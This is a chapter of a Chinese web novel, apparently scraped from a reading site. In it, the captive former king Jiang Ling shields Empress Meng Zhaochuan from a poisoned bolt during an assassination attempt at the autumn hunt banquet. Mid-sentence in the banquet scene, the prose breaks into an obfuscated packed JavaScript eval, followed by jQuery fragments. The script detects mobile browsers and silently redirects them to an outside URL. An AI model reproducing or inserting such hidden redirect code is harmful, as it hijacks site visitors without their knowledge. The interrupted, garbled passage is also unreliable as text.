默认冷灰
24号文字
方正启体

18. 拥抱

作者:秋鹤知本书字数:K更新时间:
    姜令没想到,自己给她上的谏言书,孟昭川采纳了许多。


    他不知晓胡却生等人的具体刺杀计划,所以关于秋狩的谏言,他给的都是实打实的建议,并不是诓骗她孟昭川。


    孟昭川顺着夸了他好久,不仅接受了他一大半的建议,还赏赐了他好些东西。


    秋狩前日,胡却生来找他。


    姜令悄悄带上了房门。


    说来奇怪,自从他上次自戕后,他和孟昭川关系变了许多。


    虽然还有恨意,但总觉得,有些奇怪的、不能言喻的情感在改变这段关系。


    在改变这段越不过的恩仇。


    具体是什么,姜令也摸不着。


    他只知道,自己每日练字弹琴之时,总会想起孟昭川说的话。


    她说她爱上他了。


    到底是不是真的呢?


    姜令不知道。


    不知道,索性就一直想,一直纠结,纠结来纠结去,好像整日都在想孟昭川……


    说的那件事。


    孟昭川,也对他态度缓和了很多。


    她撤走了侍从,不过多在意姜令的死死活活,也不拘束他在宫内的举动了。


    总之,随他。


    死都缓过来了,孟昭川不知道还有什么能让他情绪大起大落的。


    姜令被胡却生喊第三声时,才缓过神来,把地图递给他。


    “陛下可是没休息好?”胡却生有些心疼地看着姜令。


    “没有……”姜令忙着否认。


    其实,因为对孟昭川的复杂情感,加上要杀她这件事实,姜令心绪烦乱多日,只觉得自己要分成两半了。


    又要杀她,又忍不住想起她。


    “陛下要注意身体啊,若我等此行不顺,最终还得让陛下亲自杀死她”


    胡却生恳切地说着,姜令只是怏怏地点头。


    他反复洗涤自己的内心。


    他得恨孟昭川,恨死她,不能由着自己胡想,干扰前程大计。


    “我会的”


    胡却生离开后,姜令只是遥望着天空。


    月亮,依旧皎洁。


    心中,百般烦乱。


    秋狩当日。


    孟昭川起得早,内侍女官跟她挑选着衣服。


    “就穿朕北征的那套玄色战服”孟昭川随口说着。


    她一向不爱装束自己,只净面洗漱,束高马尾,配护腕、长靴,利落英气。


    如今天下是自己的,她也无需和谁展示自己妆容娇俏之美了。


    没必要。


    她有让任何人都夸赞她、跪拜她的力量。也就是权力。


    行宫之外,孟昭川祭天告祖。


    姜令在台下,眼神一刻也没离开过孟昭川。


    辰时的曦光洒在祭天台上,洒在女子意气风发的脸上,也勾勒出她清冽英气的脸庞。


    姜令见她依然不施粉黛,长发高束,穿着和先前北征一样的服装。


    姜令恍惚间,意识和那日孟昭川的北征重叠。


    他一如那日,视线一刻也不移开她。


    孟昭川拾级而上,步履稳而沉。


    行至香案前,她抬手,王铮立刻捧上三炷清香。


    她自行取香,于烛火上引燃,待明火熄灭,才将香束举至眉间。


    她臂膀平举,清俊的眉眼紧闭着,在日光下显得庄重又威严。


    三上香,三叩首。


    脊背弯下时仍不失帝王威仪。


    香雾袅袅,白雾轻拂她清冷的眉眼,孟昭川抬眸望向天际,目光沉静,念诵祭文。


    疾风拂过,香烟萦绕,孟昭川独立高台,显得孤独又清傲。


    这是她的江山,是她一人的江山。


    姜令突然觉得,此刻,他和她的心灵因天地神祇而相通。


    那是一种凌越众生的,帝王之间的相通。


    尽管他此刻,已经不再是帝王。


    一种奇妙的共感。


    姜令在苏国也行过祭天之礼,和卫国的礼制差不多。


    他自然知道站在其上,与天地神祇对望时的感受。


    那是一种旁人无法想象的灵想。


    立万里江山之上,站苍生万民之前,与天地直接对与。


    承万里江山,那样的重担,沉甸甸压在心头。


    姜令仿佛与她有了共感,他能在孟昭川隔着香雾的眼神里,读出她的感受。


    心下一颤,让他不要再想下去了。


    又不是你的江山,你有什么好替她着想的。


    心里有个声音一直说着。


    你要恨她、杀她。


    她是仇敌。


    辰时御驾抵达围场,文武百官迎驾。


    孟昭川下马,检阅禁军骑射阵型。


    “今日秋狩,非为戏游,乃习骑射、练胆魄、固军心。”


    “要扬我朝北征南战之勇,不可怠懒,滋长弱气”


    孟昭川语气凝然,声音豪迈,众人低头称是。


    开始前,孟昭川骑马,亲射一匹六瞳鹿,为秋狩开场。


    姜令也被邀请。


    他并未和其他大臣一列。


    他骑马,在孟昭川身旁。


    姜令意外发现,谢辞君今日没来。


    如若不是重大事宜,谢辞君决然不会错过这样重要的盛典。


    姜令心下有些讶异。


    但也无心过问孟昭川了。


    想来,也是她的意思。


    至于为什么,他不想问,也懒得问。


    眼前,突然多了一把弓。


    姜令转眼,孟昭川笑着看他。


    烈阳高悬,映照着她一双温柔的眼睛。


    “试试吧,你也开个场”


    孟昭川笑着对他说着,抬手,几个士兵又扛了一头鹿。


    “不然,怎么体现我怀柔待俘的政策”


    这一句在姜令看来,才是重点。


    姜令拿着弓箭,弯弓,佯装没射中那头鹿。


    他故意的。


    “臣不如陛下射艺精湛,愧对陛下恩赐”


    孟昭川还没开口,他就先道了歉。


    虽然是体现姜令的谦虚,孟昭川依然觉得,他是在跟自己作对。


    冷哼一声,让人撤走了那毫发无损的六瞳鹿。


    姜令抬眼,正对上场外姜国王子玉北枫的眼睛。


    一双金瞳,全是对他的嘲笑。


    围猎之时。


    孟昭川勒马,马蹄卷起一地的枯草。


    已是秋末了。


    步入林中,缰绳猛地收紧,骏马昂首轻嘶。


    孟昭川冷厉的视线扫过林中,确定位置,纵马深入林中。


    视线扫过林中的一头鹿,孟昭川弯弓,松指。


    长箭破空,正中鹿身。


    小鹿倒地,孟昭川居高临下地望着猎物,心中并无半分不忍。


    这是秋狩、是告慰天地,不是悲悯万物之时。


    她有执掌河山的权力。


    接连,孟昭川射下诸多猎物。


    熊、獐、兔……


    她也放纵玉北枫,此人一马当先,射杀无数猎物,尽数交给孟昭川。


    对于他这样草原来的人,围猎实在是简单得要命。


    “做的不错,倒也不枉费你姜国擅战的名号”孟昭川夸着玉北枫。


    玉北枫阴沉多日的脸上,一下有了生气。


    “仰仗陛下神威,臣不过是耍耍小聪明”


    “不过比之一些连摆在面前的六瞳鹿都射不准之人,还是好上许多的”玉北枫讽刺的语气,眼神撇过姜令。


    孟昭川侧眼去看姜令,他却呆呆的,不知道在想些什么。


    “归命侯”“姜令”


    孟昭川喊着马上的姜令,今日已经是第三次了。


    他今天神色不好,有时只是呆呆地盯着某处地方,一动不动。


    要是寻常,玉北枫讥讽他几句,姜令也会用些典故回讥他几句。


    毕竟,玉北枫只善战,文墨不多。


    今日,却有些不同。


    “你怎么了?”孟昭川担心他,是不是上次的身体还没休息好,姜令只说着没事。


    大队正欲前行,近卫上前收拾猎物,林中仍有马蹄之声。


    孟昭川抬手示意噤声,拔剑走过去,近前的侍卫也跟上。


    一道暗箭,飞了过来,孟昭川一剑劈断。


    “陛下!”身后人呼喊起来,孟昭川又掷了一把长剑,扔去了那刺客面前的大树上。


    刺客被她吓了出来,孟昭川示意手下抓住,那刺客正要咬牙,孟昭川一脚,将他口中之物,踹在地上。


    “带回去,朕亲自审”孟昭川在马上吩咐着侍卫。


    宴席前,孟昭川在营帐内徘徊。


    那刺客被打得遍体鳞伤,一句话也不吐露。


    “看来指使你的人,是我朝大官了”


    孟昭川心中一紧,她早知自己这个位置危险,如今自己刚刚坐稳,暗处的蛇就忍不住出动来咬了。


    看那刺客脸色正然,说明此人受训已久,不是她能撬得动口的。


    死士。


    “王铮,把那丫头带进来”


    王铮拍拍手,一个宫女打扮的丫头被抬了进来。


    两人只对视一眼,孟昭川就从他们细微的表情里看出二人先前认识。


    “一伙的”孟昭川直言,轻笑。


    “这小丫头在宫中和外人报信,被朕截获,她也死不承认,是和谁报的信”


    “这么一想,你们那位主子,倒真是手长,宫内宫外都安排人,想将朕一网打尽”孟昭川轻蔑地说着。


    “你们猜,朕还知道什么”


    她注意到,两人额前已经冒了汗。


    孟昭川低身,在刺客耳旁说着,以他们两人都能听到的声音。


    “朕还知道,你们夜晚的宫宴,也要安排动手”


    一言出,两人不禁颤抖。


    孟昭川很喜欢看两人现在的神情,脸色苍白,很好玩。


    “带下去吧,别让他们死了”孟昭川对王铮说着。


    转身,在铜镜前坐下,内侍整理着装束,准备夜晚的宫宴。


    帝王,不能做任何有损威仪之事。


    寻常人遭到刺杀,此时必然是慌乱无比。


    但孟昭川不能。


    她不仅不能,还得装作什么都没发生过,继续保持帝王的威严。


    宴席前,大大小小的狩猎成果摆成了一桌,鹿、兔、狐狸……


    帐下百官、宗室按品级分列两侧,案上珍馐罗列。


    孟昭川安排,姜令和玉北枫,一左一右在自己身旁,姜令离得更近些,能跟她直接说话。


    “你今日,怎么不问我谢辞君去哪了”孟昭川看姜令的神色,实在好奇。


    呆呆愣愣的,倒有些可爱。


    “他去哪了”


    孟昭川见他也不像是感兴趣的样子,懒得回答他。


    谢辞君上次和她碰面后,一直称病不起。


    孟昭川早就想让他休息了,此人实在是劳模典范,丝毫不管自己的身体。


    索性,孟昭川抓住机会,让他待在家中修养。


    自己,也避免看他谢辞君失落的脸,省的见了难受。


    夜宴开始。


    “今日亲狩,诸卿各有斩获。”她开口,声线清越,“王子射杀三鹿一熊,赏鎏金弓一把,银


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156870|195759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    千两”


    今日秋狩,玉北枫一马当先,射杀诸多猎物。


    孟昭川先前,只觉得他草包一个,以为他只是姜国圈养的一只金鸟,今日才发觉,他骑射娴熟无比,甚至在卫国,都是一等一的程度。


    估计能和谢辞君对半开。


    玉北枫立刻起身,单膝跪地,叩首有声:“臣谢陛下隆恩!”


    玉北枫今日威风凛凛,屡受孟昭川赏识称赞,他非常开心。


    最重要的,是自己压了姜令一头,这让他更是高兴。


    孟昭川抬手,示意他起身。


    “王子远道而来,观我大卫国将士弓马,可还满意?”


    玉北枫躬身行礼,神色恭谨,


    “陛下神威,将士勇武,我万分钦佩!愿以此身护卫姜二国永结盟好。”


    “甚好”,孟昭川抬手,示意内侍赐酒,“那就愿两国边境无战事,百姓安枕”


    饮尽,玉北枫谢恩落座,帐内复归秩序。


    孟昭川侧眼看着姜令,本意是想玉北枫也激励他说上几句,见他兴致缺缺,也不再多说了。


    一想,姜令确实一向不爱多言,如非真的牵扯了他自身性命,他一般不会说话。


    就如上次月食,忠臣奏请杀他这样的大事,他才会开口辩解。


    一开口,众人哑口无言。


    不过,也许是上次的承玉楼割喉,他还没回复过来。


    孟昭川不多问他了。


    宴席上,乐师奏起《破阵乐》,舞姬身着劲装起舞,动作刚健利落。


    孟昭川端起白玉杯,浅酌一口。


    视线,扫过宴席下的胡却生。


    姜令既然不说,那就问问胡却生吧。


    反正是一伙的,问谁不是问呢。


    那胡却生在苏国的地位,堪比卫国的谢辞君。


    “胡太辅对我卫国的秋狩有何感慨呢?”孟昭川笑着对胡却生问道。


    胡却生显然有些狼狈,他没想到孟昭川会转而问自己。


    姜令看着胡却生,见他有些慌乱,似是计划突然被打断。


    胡却生有些拘谨,但还是起身,对孟昭川躬身行礼。


    “陛下神威,罪臣仰慕已久,卫国军士英姿,我等亦是……”


    “亦是什么”


    孟昭川只是随口说着。


    胡却生半天不回应。


    四下有些议论,孟昭川只当他被自己突击发问,并未准备好。


    “胡卿但说无妨”


    “亦是……”


    “不敢忘!!!”


    胡却生的声音响彻营帐。


    一言落地,陡然间,一根利箭破风而过,直直朝孟昭川射来。


    孟昭川立马拔了身旁的长剑砍劈。


    无数道利箭袭来,大臣四下乱作一团。


    尖叫声,响彻营帐。


    秋萍吓得乱抖,还是鼓着勇气,站在孟昭川身前,和王铮等人一齐护着孟昭川。


    箭雨如飞,直直朝孟昭川射了过来,孟昭川将秋萍猛地一拉,护在自己身后,无意间,手肘处被利箭划伤,裂了一道长伤。


    “陛下!”秋萍吓得尖叫,孟昭川摇摇头,“无事,朕穿了护身衣甲,你去屏风后躲着”


    秋萍乖乖拿了剑,走去屏风后面。


    胡却生的手,突然伸入袖子内。


    姜令陡然警觉,意识到不对劲。


    孟昭川等人,只当已经没了营帐外的利箭,开始松懈。


    姜令飞快地,在弩箭朝孟昭川射杀的一瞬间,推开众人,挡在了她身前。


    长箭入体,疼得姜令皱眉。


    姜令闷哼一声,他用肉身,给孟昭川挡住了细长尖锐的利箭。


    孟昭川僵在原地,她只感觉,自己坠入了一个冰冷的怀抱。


    还带着中药的苦香。


    等到看清眼前人,姜令已经口吐鲜血,他比孟昭川高了许多,就这样瘫软在她怀中,鲜血四下涌着。


    “姜令!!!”


    “陛下!!!”


    胡却生意识到自己杀错了人,那箭弩里被自己浸了极重的毒。


    中毒者,九死一生。


    姜令感觉五脏六腑都要破裂了,像是有毒蝎子,在自己体内翻搅着。


    他也不知,自己是何等的想法,竟然在生死攸关之时,只是朝着孟昭川扑上前去。


    他分明可以不管不顾,她孟昭川死了才好。


    死了才好……


    可身体,竟然奋不顾身,朝她冲了过去。


    全身心地,他只想拥住她。


    她不能死!


    全部的感受,化为一个深拥的怀抱,只诠释着姜令心头的一句话。


    一句内心深处的真话。


    她不能死。


    姜令双眼迷朦,昏倒之前,他见到孟昭川那双怔然的眼睛。


    谢辞君从营帐外匆匆赶来,姜令已经倒在了孟昭川怀里,胡却生也被人擒拿住。


    “昭川!!!”谢辞君忙着上前,生怕孟昭川受伤。


    孟昭川呆愣在原地,将姜令抱在怀中,泪流满面。


    “叫太医!快去叫太医!!!”


    王铮急匆匆地跑出去。


    孟昭川心乱如麻,姜令唇色乌青,本就苍白的脸上死一般地冷。


    “没事吧昭川……”谢辞君有些担忧地问着她。


    孟昭川摇摇头,一双眼睛有些莹润地看着谢辞君。


    谢辞君第一次,见她露出这般复杂的神情。


    苦痛、绝望。


    这是一个帝王,从未有过的神情。


    她只是一遍又一遍,呢喃着同一句话。


    “姜令救下我了……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)